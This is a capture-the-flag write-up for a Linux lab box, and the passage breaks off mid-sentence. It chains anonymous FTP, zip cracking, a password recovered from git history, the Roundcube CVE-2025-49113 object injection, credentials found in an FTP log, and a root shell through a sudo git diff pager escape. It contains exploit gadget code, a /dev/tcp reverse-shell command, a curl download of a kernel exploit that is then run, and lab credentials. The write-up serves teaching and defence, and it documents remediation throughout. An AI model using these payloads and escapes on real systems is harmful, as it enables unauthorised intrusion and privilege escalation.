Post

Haystack

Haystack

Summary

Haystack is a medium Linux challenge lab from the OSCP-LK set, hosted on HackSmarter. The starting position is an unauthenticated position on the lab network with a single host in scope, 10.0.27.32, and the goal is the root flag. Nothing about the chain requires a memory-corruption bug in the intended path: every step is a service doing what it was configured to do, with one published web CVE in the middle.

The way in is anonymous FTP. The share hands out five files, and four of them are unmodified upstream project templates: a Nextra portfolio starter, a Terraform reverse-proxy module, a generic bash backup script and a Joomla base-install SQL dump. The fifth, app.zip, is a WinZip AES archive whose password falls to rockyou.txt in four seconds. Inside is a Next.js Neo4j example with a .git directory still attached, and the git history contains the whole point of the box: the initial commit stored real database credentials in .env.local, and the follow-up commit blanked them out. Blanking a value in a tracked file does not remove it from the repository.

Those credentials belong to justin, and they authenticate to FTP and to IMAP but not to SSH, because sshd_config carries a Match Group justin block that turns password authentication off for that group. Neither an FTP STOR nor a later shell-based append can plant a key in authorized_keys either, for two unrelated reasons that both present as a permissions problem and neither of which is a permission. The password is real but there is no service willing to turn it into a shell, so the answer has to come from the web application. A content scan finds a Roundcube 1.6.10 installation at /roundcube that nothing on the main site links to, and 1.6.10 is the last version affected by CVE-2025-49113, a post-authentication PHP object injection that turns valid webmail credentials into command execution as www-data.

From www-data the privilege escalation half is a chain of credentials left lying around in the filesystem:

  • The Neo4j application password is also Justin’s Linux password, so su justin works from the web shell.
  • Justin is in adm, which makes the rotated vsftpd log readable, and one line in it records a second user’s real password in the field vsftpd reserves for the anonymous login string.
  • That second user, gilbert, holds a single sudo rule, (root) /usr/bin/git diff *, which is invisible to sudo -l from anything descended from the web shell, su - included. apache2.service runs with InaccessiblePaths=-/etc/sudoers, so every process in that tree reads a zero-byte sudoers and sees an empty policy. The rule appears from any process that starts outside that namespace, which in practice means SSH.
  • git diff spawns a pager for long output, and less will start a shell on demand, so a diff large enough to page becomes a root shell.

There is also an unintended root that skips the sudo rule entirely: the host runs a kernel vulnerable to DirtyFrag (CVE-2026-43284), and a public proof of concept takes any unprivileged local user straight to uid=0.

Category: Linux, unauthenticated start. Starting position: network access to 10.0.27.32 with no credential. Goal: the root flag. Theme: anonymous FTP publishes four decoys and one archive whose git history still holds a deleted password, a hidden Roundcube instance converts that password into code execution, and two more passwords recovered from the filesystem lead to a sudo rule that pages its output.


1. Recon

One host, and a service list that is unusually mail-heavy for a lab box:

1
2
export IP=10.0.27.32
nmap -vvv -p21,22,80,110,143,993,995 -Pn -sVC -oN nmap $IP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--    1 1000     1000        73761 May 24 04:40 app.zip
| -rw-r--r--    1 0        0           15562 May 24 05:19 backup.sh
| -rwxrw-r--    1 1000     1000       489837 May 24 05:09 blog.zip
| -rw-r--r--    1 1000     1000        99219 May 24 05:10 joomla.sql
|_-rwxrw-r--    1 1000     1000        12444 May 24 05:09 terraform.zip
22/tcp  open  ssh      OpenSSH 10.2p1 Ubuntu 2ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.66 ((Ubuntu))
|_http-title: In The Haystack
110/tcp open  pop3     Dovecot pop3d
143/tcp open  imap     Dovecot imapd
993/tcp open  ssl/imap Dovecot imapd
995/tcp open  ssl/pop3 Dovecot pop3d

Three facts to carry forward. ftp-anon already lists the share contents, so the first foothold candidate is on the table before a single manual command. The four mail ports mean there are real mailboxes with real local users behind them, which makes any password we find worth trying against IMAP as well as SSH. And the TLS certificate on 993 and 995 leaks the hostname:

1
2
| ssl-cert: Subject: commonName=lk-linux2
| Subject Alternative Name: DNS:lk-linux2

lk-linux2 is the machine’s own name, and it shows up in every shell prompt later. A self-signed certificate generated at install time is a common place to recover an internal hostname when nothing else on the network will tell you one.

The anonymous share

Anonymous FTP means vsftpd accepts the reserved username anonymous (or ftp) with any string as the password, by convention an email address, and drops the session into a chroot with no credential attached. Two practical notes before pulling files:

1
ftp $IP
1
2
3
4
Name (10.0.27.32:user): anonymous
331 Please specify the password.
Password:
230 Login successful.

The stock BSD ftp client starts in active mode, where the client opens a listening socket and tells the server to connect back to it with a PORT command. Behind a VPN or NAT that never works, and the failure is the pair of errors below. passive flips the data channel around so the client is the one connecting out, which is what any modern network expects:

1
2
3
4
ftp> dir
500 Illegal PORT command.
500 Unknown command.
ftp: bind: Address already in use
1
2
3
4
5
ftp> passive
Passive mode on.
ftp> prompt off
Interactive mode off.
ftp> mget *

prompt off matters because mget * otherwise asks for a y on every file. Five files land locally.

ftp-anon in nmap’s output is not just a yes/no answer. It performs the login and prints the root listing, so the scan itself already tells you whether the anonymous share is worth a manual session. Read the script output, not only the port table.


2. One archive, four decoys

Four of the five files are upstream templates with nothing added:

FileWhat it actually is
blog.zipNextra “Portfolio Starter Kit” for Next.js, unmodified
terraform.zipThe aws_reverse_proxy Terraform module, unmodified
backup.shbash-backup v1.2, every feature disabled, empty credentials
joomla.sqlA Joomla base-install schema dump with no user rows

The Joomla dump deserves a moment, because it is the decoy most likely to burn time. Grepping it for passwords produces a hit that looks exactly like a finding:

1
grep -i pass joomla.sql
1
2
3
4
(0, 'plg_authentication_ldap', 'plugin', 'ldap', 'authentication', 0, 0, 1, 0, 1, '',
 '{"host":"","port":"389","use_ldapV3":"0","negotiate_tls":"0","no_referrals":"0",
   "auth_method":"bind","base_dn":"","search_string":"","users_dn":"",
   "username":"admin","password":"bobby7", ...}', '', 3, 0),

admin / bobby7 is not a credential from this environment. It is the placeholder Joomla ships in its own base install SQL for the LDAP authentication plugin, a nod to the Bobby Tables comic. The row confirms it: the fifth column pair reads 0, 0, so the plugin is disabled, and "host":"" means it was never pointed at a directory server. The users table in the same dump has its schema but zero rows, so there is nothing to crack either.

A grep hit is a lead, not a finding. Before spending time on a recovered credential, check whether the value is a vendor default: search the exact string against the product’s own installation data. bobby7, changeme, admin:admin and friends appear in shipped SQL and config templates far more often than they appear in real deployments.

The encrypted archive

app.zip is the only file that is not a stock template, and it will not open:

1
file app.zip
1
2
app.zip: Zip archive data, made by v6.3 UNIX, extract using at least v5.1,
last modified May 24 2026 16:31:36, uncompressed size 124, method=AES Encrypted

“extract using at least v5.1” and method=AES Encrypted mean this is WinZip AES, not the legacy ZipCrypto scheme. The difference matters: legacy ZipCrypto is broken by a known-plaintext attack that needs no password guessing at all, while WinZip AES derives its key with PBKDF2-HMAC-SHA1 and has to be attacked by guessing the password. Confirming which one you are looking at decides the whole approach.

Every entry in the archive is encrypted, including the .git directory, so there is no partial extraction shortcut:

1
7z l -slt app.zip | grep -E '^Path|^Encrypted|^Method'
1
2
3
4
5
6
Path = .env.local
Encrypted = +
Method = AES-128 Deflate
Path = .git/config
Encrypted = +
Method = AES-128 Deflate

zip2john converts the archive header into a crackable hash:

1
zip2john app.zip > app.hash
1
2
3
app.zip/.env.local:$zip2$*0*1*0*2cc34e1d9c574c03*b940*70*eef03b4a819f8c6aa...*9a1dff5031ce29fdbe81*$/zip2$:.env.local:app.zip:app.zip
ver 5.1 app.zip/.git/config is not encrypted, or stored with non-handled compression type
...

The is not encrypted, or stored with non-handled compression type lines are misleading. They do not mean those files are readable; the 7-Zip listing above already proved every entry is AES-encrypted. zip2john emits one hash per archive, derived from the first suitable entry, and reports the remaining entries as unhandled because it has no second hash to build from them.

That trailing metadata is also what breaks the first crack attempt. hashcat parses the hash field strictly, and the :.env.local:app.zip:app.zip suffix that John’s format appends is not part of it:

1
hashcat '$zip2$*0*1*0*2cc34e1d9c574c03*...*$/zip2$:.env.local:app.zip:app.zip' /opt/rockyou.txt
1
No hash-mode matches the structure of the input hash.

Cut the line down to the $zip2$...$/zip2$ token and autodetect resolves it immediately. Mode 13600 is WinZip, and the *1* in the second field is the AES key-size selector that matches the AES-128 the listing reported:

1
hashcat -m 13600 '$zip2$*0*1*0*2cc34e1d9c574c03*b940*70*eef03b4a819f8c6aa...*9a1dff5031ce29fdbe81*$/zip2$' /opt/rockyou.txt
1
2
3
4
5
6
7
8
The following mode was auto-detected as the only one matching your input hash:
13600 | WinZip | Archive

$zip2$*0*1*0*2cc34e1d9c574c03*b940*70*eef03b4a...*$/zip2$:taekwondo

Status...........: Cracked
Progress.........: 16384/14344384 (0.11%)
Time.Started.....: Wed Sep  9 21:46:25 2026 (0 secs)

Cracked at 0.11 percent of the wordlist, in four seconds. taekwondo sits near the top of rockyou.txt.

1
7z x app.zip -oapp
1
2
3
4
5
Enter password:taekwondo

Everything is Ok
Folders: 53
Files: 75

3. The needle is in the git history

The extracted tree is Vercel’s with-neo4j Next.js example, and it shipped with its repository metadata intact:

1
ls -a app
1
2
.env.local  .git  README.md  components  lib  movie-sample.md
package.json  pages  public  styles  util

.env.local holds the database configuration the application reads at startup, and on disk it is empty:

1
cat app/.env.local
1
2
3
4
# Environment variables required to connect the app with your Neo4j database
NEO4J_URI=10.0.0.1
NEO4J_USER=
NEO4J_PASSWORD=

A blank secret in a file that is clearly meant to hold one is an invitation to look at how it got blanked. Git stores every version of every tracked file as an immutable object, so removing a value from the working copy does nothing to the object that already recorded it:

1
2
cd app
PAGER= git log
1
2
3
4
5
6
7
8
9
10
11
commit f89b4ad40ff87ae42da5bd1c5934ddd23ae54b75 (HEAD -> main)
Author: ellen.freeman <ellen.freeman>
Date:   Sun May 24 16:32:12 2026 +0000

    TODO: add a .gitignore

commit ee7e8b58c112747a079730c7f96136a24eba8e9c
Author: ellen.freeman <ellen.freeman>
Date:   Sun May 24 16:31:09 2026 +0000

    initial commit

Two commits, and the second one is named after the mistake. “TODO: add a .gitignore” is written by someone who has just realised .env.local should never have been tracked, and whose fix was to empty the file rather than to rewrite history:

1
PAGER= git show f89b4ad40ff87ae42da5bd1c5934ddd23ae54b75
1
2
3
4
5
6
7
8
9
10
11
diff --git a/.env.local b/.env.local
index ce5b4cd..4cce7e0 100644
--- a/.env.local
+++ b/.env.local
@@ -1,4 +1,4 @@
 # Environment variables required to connect the app with your Neo4j database
 NEO4J_URI=10.0.0.1
-NEO4J_USER=justin
-NEO4J_PASSWORD=ArepasConQueso2026!
+NEO4J_USER=
+NEO4J_PASSWORD=

The - lines are the content of blob ce5b4cd, which is still in .git/objects and always will be until someone runs a history rewrite and prunes. git show ee7e8b5:.env.local reads it just as well.

Deleting a secret in a new commit is not a remediation. Every clone of the repository, and every archive of the working directory that includes .git, carries the original blob. Real remediation is two separate actions: rotate the credential at the service that accepts it, then rewrite history with git filter-repo or the BFG and force-push. Only the first of those actually protects anything.

Two things came out of that diff beyond the password. ellen.freeman is an author name, which is a username candidate for a domain that names accounts first.last. And NEO4J_URI=10.0.0.1 is an internal address that no scan of this lab will reach, which is a reminder that a leaked config describes the environment it was written in, not necessarily the one in front of you.

That leaves one credential pair, justin with the password from the deleted blob, and four services to try it against.


4. What the password opens, and what it does not

A single credential against four listening services is worth testing exhaustively before assuming it is the way in.

SSH refuses it:

1
ssh justin@$IP
1
justin@10.0.27.32: Permission denied (publickey).

The parenthesised list is the set of authentication methods the server was still willing to try when the attempt ran out. (publickey) alone means the password was never offered at all, so this is not a wrong password: it is a server that declined to ask for one. A password that fails against a password-authenticating server and a password that is never sent look identical in a script and mean completely different things.

Read that as a statement about this account, not about the service. sshd_config scopes PasswordAuthentication per user and per group through Match blocks, so “publickey only” for justin says nothing about the next account you recover. It turns out to matter twice on this box: a later user does accept a password over SSH, and that difference is what exposes the privilege escalation in section 9.

FTP accepts it, and the session is a different chroot:

1
ftp $IP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Name (10.0.27.32:user): justin
230 Login successful.
ftp> passive
ftp> ls -la
drwxr-xr--    6 1000     1000         4096 May 24 14:26 .
drwxr-xr-x    4 0        0            4096 May 24 21:53 ..
lrwxrwxrwx    1 0        0               9 May 24 06:47 .bash_history -> /dev/null
-rw-r--r--    1 1000     1000         3771 Feb 13  2026 .bashrc
drwx------    2 1000     1000         4096 May 24 03:54 .cache
drwxrwxr-x    3 1000     1000         4096 May 24 03:59 .local
-rw-------    1 1000     1000           13 May 24 05:56 .mariadb_history
drwx------    2 1000     1000         4096 May 24 03:51 .ssh
drwx------    3 1000     1000         4096 May 24 06:08 mail
-rw-r--r--    1 0        0              12 May 24 14:26 user.txt

An authenticated vsftpd session lands in the user’s home rather than the anonymous share, so this is a full read primitive over /home/justin. Note that dir and ls without -a hide every dotfile; the interesting half of a home directory is entirely dotfiles, so ls -la is not optional here.

user.txt downloads without trouble, and turns out to hold a template placeholder rather than a real value. This lab scores a single flag, the root one, so that is expected and not a sign of a mis-solved step.

The .ssh directory looks like a free foothold and is not:

1
2
3
4
ftp> cd .ssh
ftp> ls -la
drwx------    2 1000     1000         4096 May 24 03:51 .
-rw-------    1 1000     1000            0 May 24 03:51 authorized_keys

authorized_keys exists, is zero bytes, and is owned by UID 1000 with mode 0600 inside a 0700 directory owned by the same UID. Every permission bit says the FTP session should be able to overwrite it. It cannot:

1
2
ftp> put id_ed25519.pub authorized_keys
550 Permission denied.

A 550 on STOR is a policy answer, not a filesystem one. vsftpd refuses every upload unless write_enable=YES appears in its configuration, and the shipped /etc/vsftpd.conf on this box never sets it:

1
grep -vE '^\s*#|^$' /etc/vsftpd.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
listen=NO
listen_ipv6=YES
anonymous_enable=YES
local_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO

write_enable is absent, and its default is NO. The daemon rejected the upload before the kernel was ever consulted, so the permission bits on authorized_keys were never the question.

The second attempt, much later in this chain, fails differently. With an actual shell as justin obtained through the web application, appending to the same file produces a kernel error rather than a daemon error:

1
echo 'ssh-ed25519 AAAA...' >> ~/.ssh/authorized_keys
1
bash: /home/justin/.ssh/authorized_keys: Read-only file system

The natural conclusion is that home directories are on a read-only mount, and that conclusion is wrong. /home is not a separate mount on this machine at all, and the root filesystem is read-write. That EROFS is a property of the shell that produced it, not of the box, and section 11 takes it apart with root in hand. For now the useful form of the lesson is narrower than “check the mounts”: ls -l describes what the ACL would allow, the error describes what this process was permitted, and neither is a statement about the filesystem everyone else is using.

Two failed writes to the same path, two completely different causes, and both of them read as “permission denied” at a glance. Separating the layer that refused you, the application, the kernel’s view of the mount, or the file’s own mode, is what keeps an enumeration note from becoming a wrong fact you build the rest of the engagement on.

IMAP accepts it, and the mailbox is empty. Port 993 is IMAP over implicit TLS, so a plain nc will not speak it. openssl s_client does the TLS handshake and then hands the raw session over, and -crlf is required because IMAP commands must be terminated with \r\n while a terminal sends bare \n:

1
openssl s_client -crlf -connect $IP:993

Each IMAP command is prefixed with a client-chosen tag that the server echoes back in its response, which is how a client matches replies to requests on a pipelined connection. Any short string works:

1
2
3
4
5
6
7
8
9
10
11
12
13
* OK [CAPABILITY IMAP4rev1 LOGIN-REFERRALS ID ENABLE IDLE SASL-IR LITERAL+ AUTH=PLAIN] Dovecot ready.
11 login justin 'ArepasConQueso2026!'
11 NO [AUTHENTICATIONFAILED] Authentication failed.

11 login justin ArepasConQueso2026!
11 OK [CAPABILITY IMAP4rev1 SASL-IR ...] Logged in
12 select "INBOX"
* 0 EXISTS
* 0 RECENT
12 OK [READ-WRITE] Select completed (0.004 + 0.000 + 0.003 secs).
13 search all
* SEARCH
13 OK Search completed (0.001 + 0.000 secs).

The first attempt failing is instructive. IMAP has its own quoting rules and single quotes are not one of them: 'ArepasConQueso2026!' was sent as a literal password including the quote characters. Shell habits do not transfer to a protocol you are typing by hand.

* 0 EXISTS and an empty SEARCH ALL mean the mailbox genuinely has no messages, not that the query was wrong. EXISTS is the server’s own count of messages in the selected mailbox.

At this point the credential is proven real against two services and useless for execution on both. The password is not the exploit; it is the input to one.


5. The application nobody linked to

Back to port 80. The site at the root is a static template with the title “In The Haystack” and no dynamic content at all, so the interesting surface has to be something not linked from it. dirsearch walks a wordlist against the server and reports what answers:

1
dirsearch -u http://$IP/
1
2
3
4
5
6
7
8
[22:15:42] 200 -    7KB - /contact.html
[22:15:43] 301 -   346B - /css  ->  http://10.0.27.32/css/
[22:15:48] 301 -   348B - /fonts  ->  http://10.0.27.32/fonts/
[22:15:51] 301 -   349B - /images  ->  http://10.0.27.32/images/
[22:15:51] 200 -   13KB - /index.html
[22:15:53] 301 -   345B - /js  ->  http://10.0.27.32/js/
[22:15:59] 400 -   341B - /Office/graph.php#xxe
[22:16:06] 200 -    5KB - /roundcube/index.php

Two of those lines are noise and one is the box. /Office/graph.php#xxe returned 400 Bad Request: that entry exists in the wordlist as an exploitation payload, the #xxe fragment makes the request line malformed, and Apache rejected it before routing. A 400 is the server saying it could not parse the request, which carries no information about whether the path exists. Scanners report status codes; deciding which codes are evidence is still your job.

/roundcube/index.php returning 200 with 5KB of content is the real result. Roundcube is a PHP webmail client, and the four Dovecot ports from the initial scan are exactly the backend it would be sitting in front of.

Roundcube login page served fromroundcube on the target The Roundcube webmail login, on a path nothing in the static site links to

The credentials recovered from git are IMAP credentials, and Roundcube authenticates by proxying the login straight to the IMAP server, so they work here by construction:

Roundcube login form filled in with the justin username The same credentials that authenticated against Dovecot on 993, submitted through the web client

Roundcube inbox showing the list is empty The empty inbox, matching the * 0 EXISTS returned by the raw IMAP session

The mailbox is as empty here as it was over IMAP, which rules out the obvious reason to want webmail access. The value is the application itself, and Roundcube states its version in Settings, under About:

Roundcube About dialog reporting version 1.6.10 Settings, About: Roundcube Webmail 1.6.10

When a version-specific CVE is the goal, prefer the application’s own About or status page over banner guessing. Roundcube also exposes the version programmatically as "rcversion":10610 in the JavaScript configuration embedded in every page, which is what automated checks parse. 10610 is the encoded form of 1.6.10.


6. CVE-2025-49113: Roundcube post-auth object injection

1.6.10 is the last release affected by CVE-2025-49113. It is a post-authentication PHP object injection in the settings file-upload handler, which is precisely why the credentials mattered: the vulnerability is unreachable without a valid session, so the git-history leak and the CVE are two halves of one step.

The mechanism is worth walking through, because it is not a call to unserialize() on attacker input.

Step one, an unsanitised parameter reaches the session. program/actions/settings/upload.php takes the _from GET parameter and uses it, without filtering, to build the key under which the uploaded file’s metadata is stored in $_SESSION. The uploaded filename goes into the value.

Step two, PHP’s session serializer is the injection point. PHP’s default session.serialize_handler is php, whose on-disk format is a flat sequence of name|serialized_value records, with | as the delimiter between a variable name and its value. That format has no escaping. A | character inside a stored value is indistinguishable from the delimiter that starts the next variable, so when the session file is read back on the following request, PHP parses everything after that | as a fresh variable name and calls unserialize() on what follows.

Injecting a | followed by a serialized object into a value that lands in the session therefore produces object instantiation on the next request, with no unserialize() call anywhere in the application’s own code. The public exploit builds exactly that string and submits it as the filename of a small valid PNG:

1
2
3
4
5
6
7
8
9
10
public function __construct($_gpgconf)
{
    $_gpgconf = base64_encode($_gpgconf);
    $this->_gpgconf = "echo \"{$_gpgconf}\"|base64 -d|sh;#";
}

public function gadget()
{
    return '|'. serialize($this) . ';';
}

Step three, the gadget. Instantiating an object is only useful if some class reachable in the application does something dangerous when PHP destroys it. Roundcube bundles the PEAR Crypt_GPG library, and Crypt_GPG_Engine cleans up after itself in its destructor by shelling out to the gpgconf binary to kill idle agents, using its $_gpgconf property as the command:

  • $_gpgconf is set to echo "<base64 payload>"|base64 -d|sh;#.
  • $_homedir is left empty.
  • $_process is set to false, so the subprocess-cleanup branch that runs first returns immediately instead of erroring on a missing resource.

When the destructor builds its command line it produces echo "..."|base64 -d|sh;# --homedir '' --kill all. The ; ends the injected command and the # comments out the real arguments the library appends. The base64 wrapper exists so the payload survives being embedded in a filename, a serialized string and a shell command line without any quoting collision.

This is the general shape of every PHP object-injection bug, and the delivery vector is interchangeable: a phar:// stream wrapper, a cookie, a cache entry, or as here a session-file delimiter. What stays constant is that the payload is a property bag, and the code that runs is a magic method the application never calls directly. The same destructor-driven pattern is covered in more depth on the PHAR deserialization page.

Running the hakaioffsec proof of concept, with a listener already waiting:

1
nc -lvnp 9999
1
php roundcube_exp.php http://$IP/roundcube justin 'ArepasConQueso2026!' 'bash -c "bash -i >& /dev/tcp/10.200.92.216/9999 0>&1"'
1
2
3
4
5
6
[+] Starting exploit (CVE-2025-49113)...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10610
[+] Target is vulnerable!
[+] Login successful!
[*] Exploiting...
1
2
3
4
Listening on 0.0.0.0 9999
Connection received on 10.0.27.32 44350
bash: cannot set terminal process group (1174): Inappropriate ioctl for device
bash: no job control in this shell
1
id
1
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The “cannot set terminal process group” warning is the shell reporting that it has no controlling terminal. It is harmless for command execution but it breaks anything that needs one, which becomes relevant twice in the next two sections.


7. www-data to justin, on the password we already had

The web shell runs as www-data, which owns nothing. The credential from the git history has already been proven to work against IMAP, and the account it belongs to is a real local user with UID 1000. su is the one authentication path on this box that has not refused the password yet, because unlike SSH it has no PasswordAuthentication setting to turn off:

1
su justin
1
Password:
1
id
1
uid=1000(justin) gid=1000(justin) groups=1000(justin),4(adm),100(users)

That su succeeding is the whole lesson of the section. The Neo4j service account password and the Linux account password for justin are the same string. An application configuration file was never intended to be an authentication database, but every time an administrator reuses their own password for a service credential, it becomes one.

su needs a controlling terminal to read a password. From a raw nc reverse shell it will usually fail with “must be run from a terminal”. Upgrading first with python3 -c 'import pty;pty.spawn("/bin/bash")', then Ctrl-Z, stty raw -echo; fg, is what makes this step work.

The group list is the payload of this step, not the shell. justin is a member of adm, which is the Debian and Ubuntu group whose entire purpose is reading system logs. Logrotate’s shipped rules create rotated log files as root:adm with mode 0640 precisely so that a member of adm can read them without being root.


8. justin to gilbert, out of the FTP log

The service that has been the centre of this box since the first scan also writes a log, and adm membership makes it readable:

1
cat /var/log/vsftpd.log.1
1
2
3
4
5
6
Sun May 24 04:41:36 2026 [pid 2996] CONNECT: Client "::ffff:192.168.186.128"
Sun May 24 04:41:39 2026 [pid 2995] [ftp] OK LOGIN: Client "::ffff:192.168.186.128", anon password "ftp"
Sun May 24 06:47:58 2026 [pid 3832] CONNECT: Client "::ffff:192.168.186.128"
Sun May 25 04:41:39 2026 [pid 2995] [ftp] OK LOGIN: Client "::ffff:192.168.186.128", gilbert password "1xXOneMoreCachapaXx1"
Mon May 25 01:26:35 2026 [pid 3967] CONNECT: Client "::ffff:192.168.186.128"
Mon May 25 01:26:38 2026 [pid 3966] [ftp] OK LOGIN: Client "::ffff:192.168.186.128", anon password "ftp"

Every other successful line reads anon password "ftp". One does not.

vsftpd deliberately records the password string for anonymous sessions, because in the anonymous convention that field is not a secret at all: it is supposed to be a courtesy email address identifying who is downloading. The daemon writes it verbatim on the assumption that it is public information. It has no way to know that the person at the keyboard typed a real account name and a real account password into the anonymous prompt instead.

That is what happened here, and it is a category of finding you should look for on any box with FTP: authentication logs are written by services that were told which fields are secret, and any field the service believes is public gets logged in clear. The same class of mistake produces passwords in .bash_history, in web-server access logs when a form posts over GET, and in process listings when a password is passed as a command-line argument.

1
su gilbert
1
Password:
1
id
1
uid=1001(gilbert) gid=1001(gilbert) groups=1001(gilbert),100(users)

9. gilbert to root through the pager

Enumerating sudo from the su gilbert shell, the one nested inside the reverse shell, reports that there is nothing to enumerate:

1
sudo -l
1
sudo: Sorry, user gilbert may not run sudo on lk-linux2.

That message reads like a definitive answer, and it is wrong. Recall from section 4 that justin was refused SSH with Permission denied (publickey). gilbert is not, because the password restriction is scoped per account, and the password from the FTP log logs straight in:

1
ssh gilbert@$IP

From that session, the identical command returns something else entirely:

1
sudo -l
1
2
3
[sudo: authenticate] Password:
User gilbert may run the following commands on lk-linux2:
    (root) /usr/bin/git diff *

Same user, same host, same binary, opposite answers.

The reflex explanation is that the nested shell is not a login shell, and that su - gilbert would have fixed it. It does not: the login form is refused in exactly the same words, and so is every other combination of accounts and dashes. The second reflex, that su fails to build the session sshd creates, is also wrong. Both deserve a proper autopsy, and both need root to perform, which the box has not given up yet. Section 11 runs the whole investigation once it has.

What matters at this point in the chain is the operational half, which does not require understanding the cause at all: the moment you recover a password, spend the one command it costs to try a real login with it. Re-running enumeration from a second, independent origin is what turns this dead end into the privilege escalation.

A negative result from a shell inherited out of a service is not evidence of absence, and these failures do not look like failures: a file that “does not exist”, a directory that “cannot be read”, a sudo policy that is simply empty. Re-run anything that matters from a second origin before believing it.

Why this rule is a root shell

The rule allows git diff with any arguments, as root. git diff does not read files as root in a way that helps much on its own, but git’s output handling does.

Git sends long output through a pager. The pager is chosen from GIT_PAGER, then core.pager, then PAGER, then the compiled-in default, which is less. Git only invokes it when the output does not fit on one screen and the destination is a terminal. And less is an interactive program with a documented escape: !command runs command in a shell.

Everything git spawns inherits git’s privileges. Under sudo git diff, git is root, so the pager is root, so the shell the pager starts is root.

Two details make it work reliably. The sudoers rule pins diff as the first word after git, so the other GTFOBins routes that need a global option (git -c core.pager='!/bin/sh' ... or git -p help config) are not available: anything before diff breaks the match. And the output has to be long enough to trigger paging, which is why diffing /dev/null against a file with forty lines is the reliable choice:

1
sudo git diff /dev/null /etc/passwd
1
2
3
4
5
6
7
8
9
diff --git a/etc/passwd b/etc/passwd
new file mode 100644
index 0000000..7ef9c8b
--- /dev/null
+++ b/etc/passwd
@@ -0,0 +1,40 @@
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

With less holding the output, typing !/bin/bash at its prompt is the escape:

1
!/bin/bash
1
id
1
uid=0(root) gid=0(root) groups=0(root)
1
cat /root/root.txt
1
<redacted>

Restricting a sudo rule to one subcommand is not a restriction if that subcommand can spawn another program. Git, man, less, more, vi, find, awk, tar and dozens of others all have a documented way to execute a command, and sudo hands them a root token to do it with. If a rule like this is genuinely required, the mitigation is to force a non-interactive pager in the environment sudo builds, for example Defaults env_keep -= "PAGER" combined with a wrapper that sets GIT_PAGER=cat, and to accept that the rule is still only as safe as the next git feature nobody audited.


10. Unintended root: DirtyFrag

The sudo rule is the intended path, but it is not the only one, and the alternate route does not need gilbert at all: any unprivileged local user on this host reaches root, www-data included.

The box runs a kernel affected by DirtyFrag, the pair of local privilege escalations disclosed in May 2026: CVE-2026-43284 in the xfrm/ESP (IPsec) path and CVE-2026-43500 in rxrpc. Both give the same primitive: an in-place cryptography fragmentation bug that corrupts the page cache, which lets an unprivileged process rewrite the contents of read-only file pages. That is the DirtyCow and DirtyPipe outcome reached by a new route, and the usual finish is to overwrite a setuid binary or blank the password field for root in /etc/passwd. The public proof of concept needs no special capability and no race window.

Serve the binary from the attacking host and pull it into a writable directory:

1
python3 -m http.server 8000
1
2
3
4
cd /tmp
curl 10.200.92.216:8000/dirtyfrag -O
chmod +x dirtyfrag
./dirtyfrag
1
2
id
uid=0(root) gid=0(root) groups=0(root)

Note that /tmp is writable even though /home/justin was not. Those two facts have the same cause and neither is a property of the disk: apache2.service runs with PrivateTmp=true, so this /tmp is a service-private tmpfs rather than the host’s, and with ProtectHome=read-only, which is what refused the authorized_keys append in section 4. Section 11 pulls both apart. The practical consequence while staging a binary is that anything written here is invisible to any process outside the web shell’s namespace, so do not expect a second session to find it.

A kernel LPE is a last-resort answer, not a first one, and on a lab it usually means you have skipped something. Enumerate credentials, sudo rules, SUID binaries, cron and writable service files first: those are the paths the box was built around, and they are the paths that teach you something. Reach for the kernel when triage is genuinely exhausted. Note also that running a kernel exploit is the single most likely action in a real engagement to take the host down, which is why it needs written authorisation before you type it.


11. Beyond Root: What the Web Shell Could Not See

Three separate dead ends on this box turn out to have one cause, and none of them can be diagnosed without root, which is why this section comes after the flags rather than during the chain. What follows is the investigation in the order the hypotheses actually fell, because every wrong answer along the way is one a reader will reach for too, and the reasons each fails are more useful than the answer on its own.

The contradiction, restated

Three symptoms, collected in three different sections, none of them obviously related.

The sudo policy disagrees with itself depending on where you ask. From the su gilbert shell nested inside the reverse shell:

1
sudo: Sorry, user gilbert may not run sudo on lk-linux2.

From an SSH session as the same user, seconds later:

1
2
User gilbert may run the following commands on lk-linux2:
    (root) /usr/bin/git diff *

Section 4 produced the second symptom: appending to justin’s authorized_keys from the web shell failed with Read-only file system, on a file whose ownership and mode were correct. Section 10 produced the third: /tmp was writable when /home was not, which was filed as a quirk of the mount layout.

The working assumption from here is that one cause is more likely than three coincidences.

Hypothesis 1: the nested shell is not a login shell

The first candidate, and the one almost everyone reaches for. su(1) describes what -, -l and --login change, and it is not a small list:

su does:

  • clear all the environment variables except TERM, COLORTERM, NO_COLOR and variables specified by --whitelist-environment
  • initialize the environment variables HOME, SHELL, USER, LOGNAME, and PATH
  • change to the target user’s home directory
  • set argv[0] of the shell to - in order to make the shell a login shell

The same page calls the bare form a backward-compatibility behaviour and recommends “to always use the --login option (instead of its shortcut -) to avoid side effects caused by mixing environments.” Plausible, and easy to test.

Before testing it, it is worth being precise about what a login shell actually is, because the last bullet is the whole definition and it is easy to misread. argv[0] is the name a process is handed for itself, and for shells the convention is a leading dash. Bash exposes its own verdict:

1
2
echo "argv0=$0 login_shell=$(shopt -q login_shell && echo on || echo off)"
ps -o pid,args -p $$ --no-headers

Straight off an SSH login, then after su gilbert, then after su - gilbert:

1
2
3
SSH   argv0=-bash  login_shell=on     4530 -bash
SU    argv0=bash   login_shell=off    4576 bash
SU-L  argv0=-bash  login_shell=on     4598 -bash

ps sees the same thing from outside the process: login shells are listed as -bash, the non-login one as plain bash. That single character is the entire marker, which is why su has to go out of its way to set it.

This is worth separating from nologin, which sounds like it belongs on the same axis and does not. /usr/sbin/nologin is a program, not an argv[0] value, and it lives in the shell field of /etc/passwd:

1
